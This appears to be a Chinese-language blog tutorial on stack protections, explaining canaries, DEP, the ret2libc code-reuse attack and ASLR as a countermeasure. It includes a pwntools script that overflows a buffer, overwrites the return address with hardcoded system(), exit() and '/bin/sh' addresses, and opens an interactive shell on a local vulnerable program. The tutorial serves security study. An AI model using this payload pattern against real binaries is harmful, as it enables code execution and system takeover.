返回库文件

基于栈帧变化探讨栈保护机制和ret2libc技术

Return to libc

ret2libc的意义: 绕过 DEP(Data Execution Prevention)

Canary

  • Cannary是一种栈溢出保护机制。是在栈上返回地址前插入一个随机值,该随机值被称为canary。在函数返回前检查canary是否被篡改,如果被篡改,则立刻终止程序
  • 原理:栈溢出时会覆盖返回值下方(低位)的内容,即canary
  • 带canary的栈布局示意图

    Canary

DEP

  • 可以发现在Stack overflow中介绍的攻击方式是通过拿shell实现的,因此只要禁止在数据段中执行程序就可以阻止该攻击方式。
  • DEP就是通过这种方式实现的保护机制
  • 相关知识: 冯诺伊曼架构与哈佛架构
    • 在冯诺伊曼架构中所有代码都是数据,所以可以通过注入数据插入可执行代码
    • 哈佛架构将虚拟地址空间划分为数据区和代码区,代码区是可读(R)和可执行(X)的,数据区域是可读(R)和可写(W)的。任何区域都不能是同时可读,可执行和可写的

攻破DEP的方式:代码复用攻击

  • DEP阻止了我们直接注入代码,但是代码一定要通过外界注入吗?
  • 可以发现程序和库同样是有函数的,因此我们可以利用其中的函数构建出我们需要的攻击。
  • 理念:重用程序和库中的代码(不需要代码注入)
  • return to libc: 将返回地址替换为危险函数的地址
  • 例:
    1
    
    execve("/bin/sh");
    
  • 思路:
    • 找到系统函数的地址
    • 找到字符串"/bin/sh"
    • 将"/bin/sh"传递给系统函数
  • 操作:
    • Step1: 可以使用gdb来查找系统功能地址
    • Step2:
      • 使用系统环境变量(不稳定)
      • 定义环境变量
        • 示例:
           1
           2
           3
           4
           5
           6
           7
           8
           9
          10
          11
          12
          
          set MYSHELL=/bin/sh
          int main(int argc, char **argv)
          {
              printf("ret2libc start \n");
              char *shell = (char *) getenv("MYSHELL");
              if (shell) {
                  printf("address %p \n", shell);
              }
              vul(); 
              printf("ret2libc end \n");
              return 0;
          }
          
    • Step3:
      • 注入:
        • 注入后堆栈展示:

          ret2libc

      • 构造注入展示:
       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      
      from pwn import *
      
      # 获取地址(需提前泄露)
      system_addr = 0xb7e3dda0   # system()地址
      bin_sh_addr = 0xb7f6e5aa   # "/bin/sh"地址
      exit_addr   = 0xb7e369d0   # exit()地址 (可选)
      
      # 构造payload
      offset = 140  # 到返回地址的偏移量
      payload = b'A' * offset        # 填充缓冲区
      payload += p32(system_addr)    # 覆盖返回地址
      payload += p32(exit_addr)      # system()的返回地址
      payload += p32(bin_sh_addr)    # 参数1: "/bin/sh"
      
      # 发送payload
      io = process('./vuln_program')
      io.sendline(payload)
      io.interactive()
      

对上述ret2libc的防护:ASLR

ASLR:

  • 可以发现,上面的攻击方式中的核心步骤之一是获取系统函数的地址,因此容易想到,如果我们能够阻止获取系统函数地址,就可以实现对上述攻击方式的防护。
  • ASLR:随机化关键内存基地址
  • Linux中ASLR分为三级
    • 0:无随机化
    • 1:保留的随机化,共享库、栈、mmp()和VSDO随机化
    • 2:完全的随机化,通过brk()分配的内存空间也会随机化
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计